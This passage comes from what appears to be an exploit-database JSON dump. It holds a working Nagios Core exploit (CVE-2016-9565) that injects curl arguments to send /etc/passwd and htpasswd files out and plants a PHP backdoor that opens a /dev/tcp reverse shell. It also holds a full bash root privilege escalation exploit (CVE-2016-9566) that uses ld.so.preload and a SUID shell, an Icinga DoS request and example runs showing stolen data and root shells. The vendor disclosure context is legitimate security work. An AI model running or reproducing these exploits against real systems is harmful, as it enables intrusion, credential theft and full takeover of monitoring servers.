at:\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\nPoC Video:\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\nFollow https://twitter.com/dawid_golunski for updates on this advisory.\r\n\r\nRemember you can turn the nagios shell into root shell via CVE-2016-9565:\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\nUsage:\r\n\r\n./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]\r\n\r\nDisclaimer:\r\nFor testing purposes only. Do no harm.\r\n\r\n\"\"\"\r\n\r\nimport os\r\nimport sys\r\nimport time\r\nimport re\r\nimport tornado.httpserver\r\nimport tornado.web\r\nimport tornado.ioloop\r\n\r\nexploited = 0 \r\ndocroot_rw = 0\r\n\r\nclass MainHandler(tornado.web.RequestHandler):\r\n\r\n def get(self):\r\n\tglobal exploited\r\n\tif (exploited == 1):\r\n\t\tself.finish()\r\n\telse:\r\n\t\tua = self.request.headers['User-Agent']\r\n\t\tif \"Magpie\" in ua:\r\n\t\t\tprint \"[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\\n\" % self.request.remote_ip\r\n\t\t\tprint '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\\n'\r\n\t\t\tself.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)\r\n\t\t\texploited = 1\r\n\r\n def post(self): \r\n global docroot_rw\r\n\tprint \"[+] Success, curl payload injected! Received data back from the Nagios server %s\\n\" % self.request.remote_ip\r\n\r\n\t# Extract /etc/passwd from the target \r\n passwd = self.request.files['passwd'][0]['body']\r\n\tprint \"[*] Contents of /etc/passwd file from the target:\\n\\n%s\" % passwd\r\n\r\n\t# Extract /usr/local/nagios/etc/htpasswd.users\r\n htauth = self.request.files['htauth'][0]['body']\r\n\tprint \"[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\\n\\n%s\" % htauth\r\n\r\n\t# Extract nagios group from /etc/group\r\n group = self.request.files['group'][0]['body']\r\n\tfor line in group.splitlines():\r\n\t if \"nagios:\" in line:\r\n\t\tnagios_group = line\r\n\t\tprint \"[*] Retrieved nagios group line from /etc/group file on the target: %s\\n\" % nagios_group\r\n\tif \"www-data\" in nagios_group:\r\n\t\tprint \"[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\\n\"\r\n\t\tdocroot_rw = 1\r\n\r\n\t# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'\r\n\t# option. The output trace should contain an unwrapped line similar to:\r\n\t# \r\n\t# == Info: Server <?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'\"); ?> is not blacklisted\r\n\t#\r\n\t# which will do the trick as it won't mess up the payload :)\r\n\tself.add_header('Server', backdoor)\r\n\r\n\t# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)\r\n\tprint \"[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \\n\"\r\n\tself.write(xmldata)\r\n\r\n\tself.finish()\r\n\ttornado.ioloop.IOLoop.instance().stop()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n global backdoor_path\r\n global backdoor\r\n\r\n print intro\r\n\r\n # Set attacker's external IP & port to be used by the reverse shell\r\n if len(sys.argv) < 2 :\r\n\t print usage\r\n\t sys.exit(2)\r\n attacker_ip = sys.argv[1]\r\n if len(sys.argv) == 3 :\r\n\t attacker_port = sys.argv[1]\r\n else:\r\n\t attacker_port = 8080\r\n\r\n # PHP backdoor to be saved on the target Nagios server\r\n backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'\r\n backdoor = \"\"\"<?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'\"); die(\"stop processing\"); ?>\"\"\" % (attacker_ip, attacker_port)\r\n\r\n # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script\r\n global xmldata\r\n xmldata = \"\"\"<?xml version=\"1.0\"?>\r\n <rss version=\"2.0\">\r\n <channel>\r\n <title>Nagios feed with injected JS payload</title>\r\n <item>\r\n <title>Item 1</title>\r\n <description>\r\n\r\n <strong>Feed injected. Here we go </strong> - \r\n loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) \r\n\r\n <img src=\"/nagios/nagios-backdoor.php\" onerror=\"alert('Reverse Shell /nagios/nagios-backdoor.php executed!')\">\r\n\r\n </description>\r\n\r\n </item>\r\n\r\n </channel>\r\n </rss> \"\"\"\r\n\r\n\r\n # Generate SSL cert\r\n print \"[+] Generating SSL certificate for our python HTTPS web server \\n\"\r\n os.system(\"echo -e '\\n\\n\\n\\n\\n\\n\\n\\n\\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null\")\r\n\r\n print \"[+] Starting the web server on ports 80 & 443 \\n\"\r\n application = tornado.web.Application([\r\n (r'/.*', MainHandler)\r\n ])\r\n application.listen(80)\r\n http_server = tornado.httpserver.HTTPServer(\r\n application, \r\n ssl_options = {\r\n \"certfile\": os.path.join(\"./\", \"server.cert\"),\r\n \"keyfile\": os.path.join(\"./\", \"server.key\"),\r\n }\r\n )\r\n http_server.listen(443)\r\n\r\n print \"[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\\n\"\r\n tornado.ioloop.IOLoop.current().start()\r\n\r\n if (docroot_rw == 1):\r\n\t print \"[+] PHP backdoor should have been saved in %s on the target by now!\\n\" % backdoor_path\r\n\t print \"[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\\n\"\r\n\t os.system(\"nc -v -l -p 8080\")\r\n\t print \"\\n[+] Shell closed\\n\"\r\n\r\n print \"[+] That's all. Exiting\\n\"\r\n\r\n\r\n'''\r\n-----------------------------------------------\r\n\r\nVideo PoC\r\n~~~~~~~~~~~~~\r\n\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\n\r\nExample exploit run\r\n~~~~~~~~~~~~~~~~~~~~~\r\n\r\nroot@xenial:~/nagios-exploit# ./nagios_cmd_injection.py 192.168.57.3\r\n\r\nNagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit\r\nCVE-2016-9565\r\nnagios_cmd_injection.py ver. 1.0\r\n\r\nDiscovered & Coded by:\r\n\r\n Dawid Golunski\r\n https://legalhackers.com\r\n\r\n[+] Generating SSL certificate for our python HTTPS web server \r\n\r\n[+] Starting the web server on ports 80 & 443 \r\n\r\n[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\r\n\r\n[+] Received GET request from Nagios server (192.168.57.4) ! Sending redirect to inject our curl payload:\r\n\r\n-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php\r\n\r\n[+] Success, curl payload injected! Received data back from the Nagios server 192.168.57.4\r\n\r\n[*] Contents of /etc/passwd file from the target:\r\n\r\nroot:x:0:0:root:/root:/bin/bash\r\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\r\nnagios:x:1001:1001::/home/nagios:/bin/sh\r\n[..cut..]\r\n\r\n[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\r\n\r\nnagiosadmin:$apr1$buzCfFb$GjV/ga6PHp53qePf0\r\n\r\n[*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:www-data\r\n\r\n[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\r\n\r\n[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \r\n\r\n[+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now!\r\n\r\n[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\r\n\r\nListening on [0.0.0.0] (family 0, port 8080)\r\nConnection from [192.168.57.4] port 8080 [tcp/http-alt] accepted (family 2, sport 38718)\r\n\r\nwww-data@debjessie:/usr/local/nagios/share$ id\r\nid\r\nuid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)\r\n\r\nwww-data@debjessie:/usr/local/nagios/share$ groups\r\ngroups\r\nwww-data nagios nagcmd\r\n\r\nwww-data@debjessie:/usr/local/nagios/share$ cat nagios-backdoor.php\r\n[..cut..]\r\n== Info: Server <?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'\"); die(\"stop processing\"); ?> is not blacklisted\r\n[..cut..]\r\nwww-data@debjessie:/usr/local/nagios/share$ ls -ld .\r\nls -ld .\r\ndrwxrwsr-x 16 nagios nagios 4096 Dec 9 20:00 .\r\n\r\nwww-data@debjessie:/usr/local/nagios/share$ exit\r\nexit\r\nexit\r\n\r\n[+] Shell closed\r\n\r\n[+] That's all. Exiting\r\n\r\n\r\n\r\nVI. BUSINESS IMPACT\r\n-------------------------\r\n\r\nSuccessfull exploitation of the vulnerability could allow remote attackers\r\nto extract sensitive data from the Nagios monitoring server as well as\r\nachieve arbitrary code execution as demonstrated by the exploit.\r\nThe monitoring server is usually critical within an organisation as it \r\noften has remote access to all hosts within the network. For this reason\r\na compromise could likely allow attackers to expand their access within\r\nthe network to other internal servers.\r\n\r\nCorporate monitoring servers with a large number of connected hosts are\r\noften left unpatched due to their sensitive/central role on the network \r\nwhich increase the chances of exploitation. \r\n\r\nAs explained in the description section, the vulnerability could be a threat \r\ncoming from the Internet. If a major ISP / DNS, or nagios.org site itself was \r\ncompromised, this could potentially allow attackers to exploit the vulnerability\r\non multiple Nagios installations which retrieve RSS feeds automatically and the\r\ncorporate firewall does not stop the egress traffic from the monitoring server. \r\nAs a result, an attacker could potentially gain unauthorised access to \r\naffected Nagios installations without even knowing the target IP addresses\r\nand despite a lack of direct access to the target (blocked igress traffic on\r\nthe firewall).\r\n\r\n\r\nVII. SYSTEMS AFFECTED\r\n-------------------------\r\n\r\nBoth of the Nagios Core stable branches 3.x and 4.x are affected.\r\n\r\nThe vulnerability was disclosed responsibly to the vendor and was fully fixed \r\nin Nagios Core 4.2.2.\r\n\r\nNagios Core versions <= 4.0.5 are at the highest risk as they are the easiest \r\nto exploit (automatically load the vulnerable scripts upon log-in to the Nagios \r\ncontrol panel).\r\n\r\nVIII. SOLUTION\r\n-------------------------\r\n\r\nUpdate to the latest Nagios Core release.\r\n\r\nIX. REFERENCES\r\n-------------------------\r\n\r\nhttps://legalhackers.com\r\n\r\nThis advisory (CVE-2016-9565) URL:\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\nRoot Privilege Escalation from nagios system user to root (CVE-2016-9566):\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\nVideo PoC:\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\nExploit source code:\r\nhttps://legalhackers.com/exploits/CVE-2016-9565/nagios_cmd_injection.py\r\n\r\nhttps://www.nagios.org\r\n\r\nNagios patch history:\r\nhttps://www.nagios.org/projects/nagios-core/history/4x/\r\n\r\nMagpieRSS CVE-2008-4796:\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796\r\n\r\nNagios Core installation guide:\r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n\r\nX. CREDITS\r\n-------------------------\r\n\r\nThe vulnerability has been discovered by Dawid Golunski\r\ndawid (at) legalhackers (dot) com\r\n\r\nhttps://legalhackers.com\r\n\r\nXI. REVISION HISTORY\r\n-------------------------\r\n\r\n13.12.2016 - Advisory released\r\n14.12.2016 - Extended introduction\r\n\r\nXII. LEGAL NOTICES\r\n-------------------------\r\n\r\nThe information contained within this advisory is supplied \"as-is\" with\r\nno warranties or guarantees of fitness of use or otherwise. I accept no\r\nresponsibility for any damage caused by the use or misuse of this information.\r\n'''", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/40920/"}, {"lastseen": "2016-02-04T09:03:29", "description": "Icinga cgi/config.c process_cgivars Function Off-by-one Read Remote DoS. CVE-2013-7108. Webapps exploit for cgi platform", "published": "2013-12-16T00:00:00", "type": "exploitdb", "title": "Icinga cgi/config.c process_cgivars Function Off-by-one Read Remote DoS", "bulletinFamily": "exploit", "cvelist": ["CVE-2013-7108"], "modified": "2013-12-16T00:00:00", "id": "EDB-ID:38882", "href": "https://www.exploit-db.com/exploits/38882/", "sourceData": "source: http://www.securityfocus.com/bid/64363/info\r\n\r\nIcinga is prone to multiple memory-corruption vulnerabilities due to an off-by-one condition.\r\n\r\nAttackers may exploit these issues to gain access to sensitive information or crash the affected application, denying service to legitimate users. \r\n\r\nhttp://www.example.com/cgi-bin/config.cgi?b=aaaa[..2000 times] ", "cvss": {"score": 5.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/38882/"}, {"lastseen": "2016-12-15T17:58:41", "description": "Nagios Core < 4.2.4 - Privilege Escalation. CVE-2016-9566. Local exploit for Linux platform. Tags: Local", "published": "2016-12-15T00:00:00", "type": "exploitdb", "title": "Nagios Core < 4.2.4 - Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "modified": "2016-12-15T00:00:00", "id": "EDB-ID:40921", "href": "https://www.exploit-db.com/exploits/40921/", "sourceData": "'''\r\nSource: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\n=============================================\r\n- Discovered by: Dawid Golunski\r\n- dawid[at]legalhackers.com\r\n- https://legalhackers.com\r\n\r\n- CVE-2016-9566\r\n- Release date: 15.12.2016\r\n- Revision 1.0\r\n- Severity: High\r\n=============================================\r\n\r\n\r\nI. VULNERABILITY\r\n-------------------------\r\n\r\nNagios Core < 4.2.4 - Root Privilege Escalation\r\n\r\n\r\nII. BACKGROUND\r\n-------------------------\r\n\r\n\"Nagios Is The Industry Standard In IT Infrastructure Monitoring\r\n\r\nAchieve instant awareness of IT infrastructure problems, so downtime doesn't \r\nadversely affect your business.\r\n\r\nNagios offers complete monitoring and alerting for servers, switches, \r\napplications, and services.\"\r\n\r\nhttps://www.nagios.org/\r\n\r\n\r\nIII. INTRODUCTION\r\n-------------------------\r\n\r\nNagios Core daemon in versions below 4.2.4 was found to perform unsafe \r\noperations when handling the log file. This could be exploited by \r\nmalicious local attackers to escalate their privileges from 'nagios' system user, \r\nor from a user belonging to 'nagios' group, to root.\r\nThe exploit could enable the attackers to fully compromise the system on which a \r\nvulnerable Nagios version was installed.\r\n\r\nTo obtain the necessary level of access, the attackers could use another \r\nNagios vulnerability discovered by the author of this advisory - CVE-2016-9565\r\nwhich has been linked in the references.\r\n\r\nIV. DESCRIPTION\r\n-------------------------\r\n\r\nDefault installation of Nagios Core creates the log directory with the\r\nfollowing permissions: \r\n\r\ndrwxrwsr-x 5 nagios nagios\r\n\r\nNagios daemon was found to open the log file before dropping its root \r\nprivileges on startup:\r\n\r\n8148 open(\"/usr/local/nagios/var/nagios.log\",\r\nO_RDWR|O_CREAT|O_APPEND, 0666) = 4\r\n8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0\r\n8148 fchown(4, 1001, 1001) = 0\r\n8148 getegid() = 0\r\n8148 setgid(1001) = 0\r\n8148 geteuid() = 0\r\n[...]\r\n\r\nIf an attacker managed to gain access to an account of 'nagios' or any\r\nother account belonging to the 'nagios' group, they would be able to\r\nreplace the log file with a symlink to an arbitrary file on the system.\r\n\r\nThis vulnerability could be used by an attacker to escalate their privileges\r\nfrom nagios user/group to root for example by creating a malicious \r\n/etc/ld.so.preload file.\r\n\r\nThe file would be created with the following nagios permissions due to \r\nthe fchown operation shown above:\r\n\r\n-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload\r\n\r\nwhich would enable write access to the file for the 'nagios' user\r\nbut not the 'nagios' group.\r\n\r\n\r\nGaining write access to ld.so.preload as 'nagios' group\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nIf the attacker managed to exploit the CVE-2016-9565 vulnerability explained at:\r\n\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\nhttps://www.exploit-db.com/exploits/40920\r\n\r\nthey would gain access to www-data account belonging to 'nagios' group in case\r\nof a default Nagios install following the official Nagios setup guide:\r\n\r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n\r\nThis would not be enough to write to ld.so.preload file as 'nagios' group is \r\nonly allowed to read the log file.\r\n\r\nAttackers with access to 'nagios' group could however bypass the lack of \r\nwrite privilege by writing to Nagios external command pipe (nagios.cmd) which\r\nis writable by 'nagios' group by default:\r\n\r\nprw-rw---- 1 nagios nagios 0 Dec 10 19:39 nagios.cmd\r\n\r\nThe Nagios command pipe allows to communicate with Nagios daemon.\r\n\r\nBy sending an invalid command to the pipe, the attacker could bypass the lack \r\nof write permission and inject data to the log file (pointing to ld.so.preload).\r\n\r\nFor example, by running the command:\r\n\r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so \\n\" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd\r\n\r\nNagios daemon would append the following line to the log file:\r\n\r\n[1481439996] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so\r\n\r\nwhich would be enough to load a malicious library and escalate the privileges\r\nfrom a www-data user (belonging to 'nagios' group) to root upon a Nagios restart.\r\n\r\nForcing restart of Nagios daemon\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nAttackers could speed up the restart by using the Nagios command pipe once again\r\nto send a SHUTDOWN_PROGRAM command as follows:\r\n\r\n/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd\r\n\r\n\r\nV. PROOF OF CONCEPT EXPLOIT\r\n-------------------------\r\n\r\n-----------[ nagios-root-privesc.sh ]--------------\r\n'''\r\n\r\n#!/bin/bash\r\n#\r\n# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit\r\n# nagios-root-privesc.sh (ver. 1.0)\r\n#\r\n# CVE-2016-9566\r\n#\r\n# Discovered and coded by:\r\n#\r\n# Dawid Golunski\r\n# dawid[at]legalhackers.com\r\n#\r\n# https://legalhackers.com\r\n#\r\n# Follow https://twitter.com/dawid_golunski for updates on this advisory\r\n#\r\n#\r\n# [Info]\r\n#\r\n# This PoC exploit allows privilege escalation from 'nagios' system account, \r\n# or an account belonging to 'nagios' group, to root (root shell).\r\n# Attackers could obtain such an account via exploiting another vulnerability,\r\n# e.g. CVE-2016-9565 linked below.\r\n#\r\n# [Exploit usage]\r\n#\r\n# ./nagios-root-privesc.sh path_to_nagios.log \r\n#\r\n#\r\n# See the full advisory for details at:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# Video PoC:\r\n# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# CVE-2016-9565:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n#\r\n# Disclaimer:\r\n# For testing purposes only. Do no harm.\r\n#\r\n\r\nBACKDOORSH=\"/bin/bash\"\r\nBACKDOORPATH=\"/tmp/nagiosrootsh\"\r\nPRIVESCLIB=\"/tmp/nagios_privesc_lib.so\"\r\nPRIVESCSRC=\"/tmp/nagios_privesc_lib.c\"\r\nSUIDBIN=\"/usr/bin/sudo\"\r\ncommandfile='/usr/local/nagios/var/rw/nagios.cmd'\r\n\r\nfunction cleanexit {\r\n\t# Cleanup \r\n\techo -e \"\\n[+] Cleaning up...\"\r\n\trm -f $PRIVESCSRC\r\n\trm -f $PRIVESCLIB\r\n\trm -f $ERRORLOG\r\n\ttouch $ERRORLOG\r\n\tif [ -f /etc/ld.so.preload ]; then\r\n\t\techo -n > /etc/ld.so.preload\r\n\tfi\r\n\techo -e \"\\n[+] Job done. Exiting with code $1 \\n\"\r\n\texit $1\r\n}\r\n\r\nfunction ctrl_c() {\r\n echo -e \"\\n[+] Ctrl+C pressed\"\r\n\tcleanexit 0\r\n}\r\n\r\n#intro \r\n\r\necho -e \"\\033[94m \\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \\nnagios-root-privesc.sh (ver. 1.0)\\n\"\r\necho -e \"Discovered and coded by: \\n\\nDawid Golunski \\nhttps://legalhackers.com \\033[0m\"\r\n\r\n# Priv check\r\necho -e \"\\n[+] Starting the exploit as: \\n\\033[94m`id`\\033[0m\"\r\nid | grep -q nagios\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\\n\"\r\n\texit 3\r\nfi\r\n\r\n# Set target paths\r\nERRORLOG=\"$1\"\r\nif [ ! -f \"$ERRORLOG\" ]; then\r\n\techo -e \"\\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \\n\"\r\n\techo -e \"./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\\n\"\r\n\texit 3\r\nfi\r\n\r\n# [ Exploitation ]\r\n\r\ntrap ctrl_c INT\r\n# Compile privesc preload library\r\necho -e \"\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\"\r\ncat <<_solibeof_>$PRIVESCSRC\r\n#define _GNU_SOURCE\r\n#include <stdio.h>\r\n#include <sys/stat.h>\r\n#include <unistd.h>\r\n#include <dlfcn.h>\r\n #include <sys/types.h>\r\n #include <sys/stat.h>\r\n #include <fcntl.h>\r\n\r\nuid_t geteuid(void) {\r\n\tstatic uid_t (*old_geteuid)();\r\n\told_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\r\n\tif ( old_geteuid() == 0 ) {\r\n\t\tchown(\"$BACKDOORPATH\", 0, 0);\r\n\t\tchmod(\"$BACKDOORPATH\", 04777);\r\n\t\tunlink(\"/etc/ld.so.preload\");\r\n\t}\r\n\treturn old_geteuid();\r\n}\r\n_solibeof_\r\n/bin/bash -c \"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\"\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\r\n\tcleanexit 2;\r\nfi\r\n\r\n\r\n# Prepare backdoor shell\r\ncp $BACKDOORSH $BACKDOORPATH\r\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\"\r\n\r\n# Safety check\r\nif [ -f /etc/ld.so.preload ]; then\r\n\techo -e \"\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\"\r\n\texit 2\r\nfi\r\n\r\n# Symlink the Nagios log file\r\nrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG\r\nif [ $? -ne 0 ]; then\r\n\techo -e \"\\n[!] Couldn't remove the $ERRORLOG file or create a symlink.\"\r\n\tcleanexit 3\r\nfi\r\necho -e \"\\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \\n`ls -l $ERRORLOG`\"\r\n\r\n{\r\n# Wait for Nagios to get restarted\r\necho -ne \"\\n[+] Waiting for Nagios service to get restarted...\\n\"\r\necho -n \"Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] \"\r\nread THE_ANSWER\r\nif [ \"$THE_ANSWER\" = \"y\" ]; then\r\n\t/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > $commandfile\r\nfi\r\nsleep 3s\r\nps aux | grep -v grep | grep -i 'bin/nagios'\r\nif [ $? -ne 0 ]; then\r\n\techo -ne \"\\n[+] Nagios stopped. Shouldn't take long now... ;)\\n\"\r\nfi\r\nwhile :; do \r\n\tsleep 1 2>/dev/null\r\n\tif [ -f /etc/ld.so.preload ]; then\r\n\t\trm -f $ERRORLOG\r\n\t\tbreak;\r\n\tfi\r\ndone\r\n\r\necho -e \"\\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \\n`ls -l /etc/ld.so.preload`\"\r\n\r\n# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:\r\n# -rw-r--r-- 1 nagios nagios \r\n# Only 'nagios' user can write to it, but 'nagios' group can not.\r\n# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.\r\n# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe\r\n# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will\r\n# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)\r\n\r\nsleep 3s \t# Wait for Nagios to create the nagios.cmd pipe\r\nif [ ! -p $commandfile ]; then\r\n\techo -e \"\\n[!] Nagios command pipe $commandfile does not exist!\"\r\n\texit 2\r\nfi\t\r\necho -e \"\\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\"\r\nnow=`date +%s`\r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \\n\" $now > $commandfile\r\nsleep 1s\r\ngrep -q \"$PRIVESCLIB\" /etc/ld.so.preload\r\nif [ $? -eq 0 ]; then \r\n\techo -e \"\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload | grep \"$PRIVESCLIB\"`\"\r\nelse\r\n\techo -e \"\\n[!] Unable to inject the lib to /etc/ld.so.preload\"\r\n\texit 2\r\nfi\r\n\r\n} 2>/dev/null\r\n\r\n# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)\r\necho -e \"\\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary\"\r\nsudo 2>/dev/null >/dev/null\r\n\r\n# Check for the rootshell\r\nls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null\r\nif [ $? -eq 0 ]; then \r\n\techo -e \"\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\"\r\n\techo -e \"\\n\\033[94mGot root via Nagios!\\033[0m\"\r\nelse\r\n\techo -e \"\\n[!] Failed to get root: \\n`ls -l $BACKDOORPATH`\"\r\n\tcleanexit 2\r\nfi\r\n\r\n# Use the rootshell to perform cleanup that requires root privileges\r\n$BACKDOORPATH -p -c \"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\"\r\nrm -f $ERRORLOG\r\necho > $ERRORLOG\r\n\r\n# Execute the rootshell\r\necho -e \"\\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\\n\"\r\n$BACKDOORPATH -p -i\r\n\r\n# Job done.\r\ncleanexit 0\r\n\r\n'''\r\n---------------------------------------------------\r\n\r\n\r\nExample run\r\n~~~~~~~~~~~~~\r\n\r\nwww-data@debjessie:/tmp$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\r\n./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\r\n \r\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \r\nnagios-root-privesc.sh (ver. 1.0)\r\n\r\nDiscovered and coded by: \r\n\r\nDawid Golunski \r\nhttps://legalhackers.com \r\n\r\n[+] Starting the exploit as: \r\nuid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)\r\n\r\n[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)\r\n\r\n[+] Backdoor/low-priv shell installed at: \r\n-rwxrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh\r\n\r\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \r\nlrwxrwxrwx 1 www-data nagios 18 Dec 11 08:44 /usr/local/nagios/var/nagios.log -> /etc/ld.so.preload\r\n\r\n[+] Waiting for Nagios service to get restarted...\r\nDo you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y\r\n\r\n[+] Nagios stopped. Shouldn't take long now... ;)\r\n\r\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \r\n-rw-r--r-- 1 nagios nagios 871 Dec 11 08:44 /etc/ld.so.preload\r\n\r\n[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\r\n\r\n[+] The /etc/ld.so.preload file now contains: \r\n[1481463869] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so\r\n\r\n[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary\r\n\r\n[+] Rootshell got assigned root SUID perms at: \r\n-rwsrwxrwx 1 root root 1029624 Dec 11 08:44 